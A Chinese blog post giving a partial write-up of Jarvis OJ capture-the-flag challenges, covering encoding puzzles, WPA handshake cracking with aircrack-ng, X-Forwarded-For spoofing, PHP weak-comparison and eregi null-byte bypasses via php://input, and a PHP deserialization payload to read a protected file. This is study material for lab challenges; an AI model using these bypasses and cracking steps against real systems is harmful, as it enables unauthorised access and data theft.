jarvis_oj 部分writeup

0x01

最近发现了一个比较不错的平台,jarvis OJ,复盘了一些比赛的题目,质量还是比较高的,记录一下解(jiao)题(yi)思(guo)路(cheng),供学习之用。

0x02

basic

  • base64?
    base32解码

  • veryeasy
    直接搜字符串。

  • 段子
    手持两把锟斤拷,口中疾呼烫烫烫,说的是编码问题导致的乱码,网上关于这方面的介绍一百度一大把,这里直接贴上十六进制编码吧,锟(0xEFBF) 斤 (0xBDEF) 拷(0xBFBD) 按要求提交即可。

  • 手贱
    32位的md5, 合法的字符为0-9&&a-f,题目中混入了L,剔除掉,然后解密。

  • 美丽的实验室logo
    用神器stegslove打开,查看frame,在第二个frame可以找到flag。

  • 神秘的文件
    扔到kali下,file查看一下类型,挂载到一个文件夹,ls看一下,很多文件,cat ./* 得到所有文件中的内容,flag就在其中….

  • Secret
    burp抓包,在返回包的hearder中发现secret

  • 爱吃培根的出题人
    培根密码,大小写分别替换为ab,根据对照表得到相应的字符。

  • 取证
    搜索 内存取证 第一个就是…

  • 熟悉的声音
    根据提示,可以猜到是摩斯电码,得到一串字符后凯撒加密跑一下,得到flag。

  • A Piece Of Cake
    典型的词频分析,有一个在线解密的网站,戳这里

  • 德军的密码
    将二进制转换成ASCII,然后与给的密钥异或(XOR)

  • 握手包
    跑握手包。。。扔kali下,用aircrack-ng跑 aircrack-ng 握手包名 -w 字典
    找个靠谱的字典。。。密码是11223344.

web

  • PORT 51
    提示,用51端口访问,可以用vps的51端口访问题目 curl –local-port ip

  • localhost
    提示localhost 抓包 加一个xff:127。0.0.1

  • login
    抓包,返回包能看到hint,贴到百度上,可以找到相应的文章分析 戳这里
    提交字符串,得到flag。

  • flag在管理员手里
    备份文件index.php~ 得到源码,hash拓展长度攻击,详细的说明看大佬文章戳这里

  • IN A Mess
    查看源码,给提示 index.phps 得到源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    if(!$_GET['id'])
    {
    header('Location: index.php?id=1');
    exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    echo 'Hahahahahaha';
    return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    require("flag.txt");
    }
    else
    {
    print "work harder!harder!harder!";
    }

上述代码关键部分在if那一行,需要满足所有的条件,才会得到flag.txt
$a 利用php伪协议。php://input 文件输入流,写入$data的内容
$id php弱类型比较,字符串与数字比较,会进行强制类型转换,把字符串转换成0,, 0==0 结果为true
$b 利用eregi的%00截断,$b=%412345 满足要求 得到flag

  • 神盾局的秘密
    -查看源码,目测是任意文件下载,通过这个可以读到各个文件,
    index.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
    $x = unserialize($g);
    }
    echo $x->readfile();
    ?>

    sheid.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

…读pctf.php 读不到。。。
看着两段代码,很明显的反序列化。通过反序列化来读pctf.php ,看一下readfile这个函数,过滤了 .. / \等字符,我们可以这样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
//flag is in pctf.php
class Shield
{
public $file;
function __construct($filename = '')
{
$this -> file = $filename;
}
function readfile()
{
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE)
{
return @file_get_contents($this->file);
}
}
}
$a = new Shield();
$a->file="pctf.php";
echo serialize($a);
?>

得到序列化之后的值,提交即可。

##0x03
暂时就做了这些….以后不断更新。。。
欢迎各位大佬指出错误,小弟先膜为敬~~

本文标题:jarvis_oj 部分writeup

文章作者:tkcharlotte

发布时间:2017年08月02日 - 11:08

最后更新:2018年02月25日 - 18:02

原始链接:boombao.net/2017/08/02/jarvis-oj-wp/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------本文结束感谢您的阅读-------------